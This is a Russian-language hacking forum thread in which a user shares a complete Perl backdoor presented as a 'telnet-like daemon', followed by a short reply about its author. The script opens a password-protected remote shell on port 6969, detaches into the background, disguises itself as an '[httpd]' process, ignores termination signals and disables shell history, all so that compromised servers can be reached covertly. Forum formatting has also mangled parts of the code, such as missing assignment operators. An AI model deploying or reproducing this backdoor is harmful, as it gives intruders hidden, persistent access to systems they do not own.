Скрипт Telnet сервер на перле.

Discussion in 'PHP' started by SQLHACK, 23 Aug 2007.

  1. SQLHACK

    SQLHACK Остались только слоны

    Joined:
    27 Sep 2006
    Messages:
    437
    Likes Received:
    372
    Reputations:
    407
    Нашёл на просторах инета вот такой скриптик, мож кому пригодится.

    PHP:
    #!/usr/bin/perl
    # Telnet-like Standard Daemon 0.7
    #
    #    0ldW0lf - oldwolf@atrixteam.net
    #            - old-wolf@zipmai.com
    #            - www.atrix.cjb.net
    #            - www.atrixteam.net
    #
    #  For those guys that still like to open ports
    #  and use non-rooted boxes
    #
    #  This has been developed to join in the TocToc
    #  project code, now it's done and I'm distributing
    #  this separated
    #
    #  This one i made without IO::Pty so it uses
    #  only standard modules... enjoy it
    #
    #  tested on linux boxes.. probably will work fine on others
    #  any problem... #atrix@irc.brasnet.org
    #

    ##########################################################
    # ******************* CONFIGURATION ******************** #
    ##########################################################
    my $PORT        $ARGV[0] || 6969;        # default port is 3847
    my $PASS        '';         # encripted password
    my $SHELL       "/bin/bash";             # shell to be executed
    my $HOME        "/tmp";                  # your HOME
    my $PROC        "[httpd]";                 # name of the process
    my $PASS_PROMPT "Password: ";            # password prompt
    my $WRONG_PASS  "Wrong password!";       # "wrong password" message
    my @STTY        = ('sane''dec');         # stty arguments
    ##########################################################

    # feel free to change the ENV
    #### ENVironment ####
    $ENV{HOME}       = $HOME;
    #$ENV{PS1}        = '[\u@\h \W]: '; # the way i like :)
                     # colorful PS1 is also funny :)
    $ENV{PS1}        = '\[\033[3;36m\][\[\033[3;34m\]\[\033[1m\]\u\[\033[3;36m\]@\[\033[0m\]\[\033[3;34m\]\[\033[1m\]\h \[\033[0m\]\[\033[1m\]\W\[\033[0m\]\[\033[3;36m\]]\[\033[0m\]\[\033[1m:\[\033[0m\] ';
    $ENV{MAIL}       = '/var/mail/root';
    $ENV{PATH}       = '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin';
    $ENV{HISTFILE}   = '/dev/null';
    $ENV{USER}       = 'root';
    $ENV{LOGNAME}    = 'root';
    $ENV{LS_OPTIONS} = ' --color=auto -F -b -T 0';
    $ENV{LS_COLORS}  = 'no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.bz2=01;31:*.rpm=01;31:*.deb=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.mpg=01;37:*.avi=01;37:*.mov=01;37:';
    $ENV{SHELL}      = $SHELL;
    $ENV{TERM}       = 'xterm';
    #####################

    $0=$PROC."\0";

    use 
    IO::Socket;
    use 
    IO::Select;
    use 
    POSIX;
    use 
    strict;

    # i wouldn't change that
    # if i were you
    ###### SIGnals ######
    $SIG{HUP}  = 'IGNORE';
    $SIG{PS}   = 'IGNORE';
    $SIG{TERM} = 'IGNORE';
    $SIG{CHLD} = sub wait; };
    #####################


    # ioctl stuff
    my %IOCTLDEF;
    $IOCTLDEF{TIOCSWINSZ} = 0x5414;
    $IOCTLDEF{TIOCNOTTY}  = 0x5422;
    $IOCTLDEF{TIOCSCTTY}  = 0x540E;
    safeload('sys/ttycom.ph'1); # BSD
    safeload('sys/ioctl.ph'1);
    safeload('asm/ioctls.ph'1);

    foreach 
    my $IOCTL (keys(%IOCTLDEF)) {
      
    next if (defined(&{$IOCTL}));

      if (
    open(IOD"< /usr/include/asm/ioctls.h")) { # linux
        
    while(<IOD>) {
          if (/^\
    #define\s+$IOCTL\s+(.*?)\n$/) {
            
    eval "sub $IOCTL () {$1;}";
            
    last;
          }
        }
        
    close(IOD);
      }

      
    # i realy dunno if i can do that.. but.. here it goes
      
    eval "sub $IOCTL () { $IOCTLDEF{$IOCTL};}" unless (defined(&{$IOCTL}));
    }


    # starting...
    $PORT $ARGV[0] if ($ARGV[0]);
    chdir('/');

    my $bind IO::Socket::INET->new(Listen => 1LocalPort => $PORTProto => "tcp") || die "could not listen on port $PORT: $!";

    my $pid fork();
    die 
    "ERROR: I could not fork() the process." unless defined($pid);
    exit if 
    $pid;


    my %CLIENT;
    my $sel_serv IO::Select->new($bind);
    my $sel_shell IO::Select->new();


    # main loop...
    while ( ) {
      
    select(undef,undef,undef0.3) if (scalar(keys(%CLIENT)) == 0);

      
    read_clients();
      
    read_shells();
    }

    sub read_clients {
      
    map read_client($_) } ($sel_serv->can_read(0.01));
    }

    sub read_client {
      
    my $fh shift;

      if (
    $fh eq $bind) {
        
    my $newcon $bind->accept;
        
    $sel_serv->add($newcon);
        
    $CLIENT{$newcon}->{senha} = 0;
        
    $CLIENT{$newcon}->{sock} = $newcon;
        
    $fh->autoflush(1);
        
    do_client($newcon'3''5''1');
        
    sleep(1);
        
    write_client($newcon$PASS_PROMPT) if ($PASS_PROMPT);
      } else {
          
    my $msg;
          
    my $nread sysread($fh$msg1024);

          if (
    $nread == 0) {
            
    close_client($fh);
          } else {
             
    telnet_parse($fh$msg);
          }
      }
    }

    sub read_shells {
      
    map read_shell($_) } ($sel_shell->can_read(0.01));
    }

    sub telnet_parse {
      
    my ($cli$msg) = @_;
      
    my $char = (split(''$msg))[0];

      if (
    ord($char) == 255) {
         
    chr_parse($cli$msg);
      } else {
         if (
    $CLIENT{$cli}->{senha} == 0) {
           
    $CLIENT{$cli}->{buf} .= $msg;

           return() 
    unless ($msg =~ /\r|\n/);

           
    my $pass $CLIENT{$cli}->{buf};
           
    $CLIENT{$cli}->{buf} = '';

           
    $pass =~ s/\n//g;
           
    $pass =~ s/\0//g;
           
    $pass =~ s/\r//g;

           
    if (crypt($pass$PASSne $PASS) {
             
    finish_client($cli"\r\n\r".$WRONG_PASS."\r\n\r");
           } else {
              
    $CLIENT{$cli}->{senha} = 1;
              
    write_client($clichr(255).chr(253).chr(31));
              
    write_client($cli"\r\n\r\r\n\r");
              
    new_shell($cli);
           }
           return();
         }

         
    $msg =~ s/\r\n\0\0//g;
         
    $msg =~ s/\0//g;
         
    $msg =~ s/\r\n/\n/g;
         
    write_shell($cli$msg);
      }
    }

    sub read_shell {
      
    my $shell shift;
      
    my $cli;
      
    map $cli $CLIENT{$_}->{sock} if ($CLIENT{$_}->{shelleq $shell) } keys(%CLIENT);

      
    my $msg;
      
    my $nread sysread($shell$msg1024);
     
      if (
    $nread == 0) {
        
    finish_client($cli"Terminal closed.\r\n\r");
      } else {
         
    write_client($cli$msg);
      }
    }

    sub to_chr {
      
    my $chrs '';
      
    map $chrs .= chr($_) }  (split(/ +/, shift));
      return(
    $chrs);
    }

    sub do_client {
      
    my ($client, @codes) = @_;
      
    map write_client($clientchr(255).chr(251).chr($_)) } @codes;
    }


    sub chr_parse 
      
    my ($client$chrs) = @_;

      
    my $ords '';
      
    map $ords .= ord($_).' ' } (split(//, $chrs));
      
    my $msg '';


      if (
    $ords =~ /255 250 31 (\d+) (\d+) (\d+) (\d+)/) {
         
    my $winsize pack('C4', $4, $3, $2, $1);
         
    ioctl($CLIENT{$client}->{shell}, &TIOCSWINSZ$winsize);# || die "erro: $!";
      
    }

      foreach 
    my $code (split("255 "$ords)) {
        if (
    $code =~ /(\d+) (.*)$/) {
          
    my $codes = $2;
          if ($
    == 251) {
            
    # do whatever you want dude ehehe
            
    $msg .= chr(255).chr(253);

            
    map $msg .= chr($_) } (split(/ +/, $codes));
          }
        }
      }

      
    write_client($client$msg) if ($msg);
      return(
    1);
    }

    sub new_shell {
      
    my $cli shift;

      
    POSIX::setpgid(00);

      
    my ($tty$pty);

      
    unless (($tty$pty) = open_tty($cli)) {
        
    finish_client($cli"ERROR: No more pty´s avaliable\n");
        return(
    undef);
      }

      
    my $pid fork();
      if (
    not defined($pid)) {
        
    finish_client($cli"ERROR: fork()\n");
        return(
    undef);
      }

      
    unless($pid) {
        
    close($pty);

        
    local(*DEVTTY);

        if (
    open (DEVTTY"/dev/tty")) {
          
    ioctl(DEVTTY, &TIOCNOTTY);# || die "erro: $!";
          
    close(DEVTTY);
        }

        
    POSIX::setsid();
        
    ioctl($tty, &TIOCSCTTY0);# || die "erro: $!";

        
    open (STDIN"<&".fileno($tty)) || die "I could not reopen STDIN: $!";
        
    open (STDOUT">&".fileno($tty)) || die "I could not reopen STDOUT: $!";
        
    open (STDERR">&".fileno($tty)) || die "I could not reopen STDERR: $!";
        
    close($tty);

        
    sleep(1);

        foreach 
    my $stty ("/bin/stty""/usr/bin/stty") {
          
    next unless (-x $stty);
          
    map system("$stty"$_) } @STTY;
        }

        
    chdir("$HOME");
        { 
    exec("$SHELL") };

        
    syswrite(STDOUT"\n\nERROR: exec($SHELL)\n\nI could not execute the shell ($SHELL)\nHowever you are lucky :P\nYou can use the \"I'm FUCKED!\" mode and fix up this thing...\nTip: Find some shell and execute it ;)\n\n");
        
    syswrite(STDOUT"\n\nOK! I'm Fucked mode.\n");
        
    syswrite(STDOUT"Type ^C to exit\n\nI'm FuCKeD!# ");

        while (
    my $msg = <STDIN>) {
          
    $msg =~ s/\n$//;
          
    $msg =~ s/\r$//;

          
    if ($msg =~ /^\s*cd\s+(\S+)/) {
            
    my $notf "directory $1 not found!\n";
            
    chdir($1) || syswrite(STDOUT$notflength($notf));
          } else {
             
    system("$msg 2>&1");
          }
          
    syswrite(STDOUT"I'm FuCKeD!# ");
        }

        exit;
      }
      
    close($tty);

      
    select($pty); $| = 1;
      
    select(STDOUT);

      
    set_raw($pty);

      
    $CLIENT{$cli}->{shell} = $pty;
      
    $sel_shell->add($pty);

      return(
    1);
    }



    # Funciton set_raw() stolen from IO::Pty
    sub set_raw($) {
      
    my $self shift;
      return 
    if not POSIX::isatty($self);
      
    my $ttyno fileno($self);
      
    my $termios = new POSIX::Termios;
      
    unless ($termios) {
    #    warn "set_raw: new POSIX::Termios failed: $!";
        
    return undef;
      }
      
    unless ($termios->getattr($ttyno)) {
    #    warn "set_raw: getattr($ttyno) failed: $!";
        
    return undef;
      }
      
    $termios->setiflag(0);
      
    $termios->setoflag(0);
      
    $termios->setlflag(0);
      
    $termios->setcc(&POSIX::VMIN1);
      
    $termios->setcc(&POSIX::VTIME0);
      
    unless ($termios->setattr($ttyno, &POSIX::TCSANOW)) {
    #    warn "set_raw: setattr($ttyno) failed: $!";
        
    return undef;
      }
      return 
    1;
    }

    sub open_tty {
      
    no strict;
      
    my $cli shift;
      
    my ($PTY$TTY) = (*{"pty.$cli"}, *{"tty.$cli"}); # believe me old versions :/

      
      
    for (my $i 0$i 256$i++) {
         
    my $pty get_tty($i"/dev/pty");
         
    next unless (open($PTY"+> $pty"));

         
    my $tty get_tty($i"/dev/tty");

         
    unless(open($TTY"+> $tty")) {
           
    close($PTY);
           
    next;
         }

         return(
    $TTY$PTY);

      }

      return();
    }

    sub get_tty {
      
    my ($num$base) = @_;

      
    my @series = ('p' .. 'z''a' .. 'e');
      
    my @subs = ('0' .. '9''a' .. 'f');

      
    my $buf $base;
      
    $buf .= @series[($num >> 4) & 0xF];
      
    $buf .= @subs[$num 0xF];

      return(
    $buf);
    }

    sub safeload {
      
    my ($module$require$arg) = @_;
      
    my $file $module;
      
    $file =~ s/::/\//g;

      
    if ($require) {
        
    # all found gonna be loaded
        
    map { eval ("require \"$_/$file\";") if(-"$_/$file"); } @INC;
      } else {
          
    $file .= ".pm" unless ($file =~ /(\.pm|\.ph)$/);
          return(eval(
    "use $module $arg;")) if (grep { -"$_/$file} @INC);
      }

      return();
    }

    sub write_shell {
      
    my ($cli$msg) = @_;
      
    my $shell $CLIENT{$cli}->{shell};

      return(
    undefunless ($shell);

      foreach 
    my $m (split_chars($msg20)) {
        
    read_shells();
        print 
    $shell $m;
        
    read_shells();
      }
      return(
    1);
    }

    sub split_chars {
      
    my ($msg$nchars) = @_;

      
    my @splited;
      
    my @chrs split (''$msg);
      
    my $done 0;
      while ( 
    ) {
        
    my $splited join('', @chrs[$done .. ($done+$nchars-1)]);
        
    $done += $nchars;
        
    last if (length($splited) < 1);
        
    push(@splited$splited);
      }
      return(@
    splited);
    }

    sub finish_client {
      
    my ($cli$msg) = @_;
      
    write_client($cli$msg);
      
    close_client($cli);
    }
       
    sub close_client {
      
    my $cli shift;
      
    my $sock $CLIENT{$cli}->{sock};

      
    $sel_serv->remove($sock);
      if (
    $CLIENT{$cli}->{shell}) {
        
    my $shell $CLIENT{$cli}->{shell};
        
    $sel_shell->remove($shell);
        
    close($shell);
      }
      
    $sock->close() if($sock);
      
    delete($CLIENT{$cli});
    }

    sub write_client {
       
    my ($cli$msg) = @_;
       
    my $sock $CLIENT{$cli}->{sock};
       
    syswrite($sock$msglength($msg)) if ($sock);
    }
     
    _________________________
  2. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    )
    когда-то на одном хостинге нашел целую кипу скриптов от этого 0ldW0lf'а, один из них выложил на ачате, limpompo еще ругался в той теме, что плагеатчики они, атрикстим.. ))
    вот кстате.. /thread24922.html

    з.ы. непонятно, зачем создавать по каждому скрипту отдельную тему - все равно тут обсуждать нечего по ним.. есть спец. тема для всяких полезных скриптов..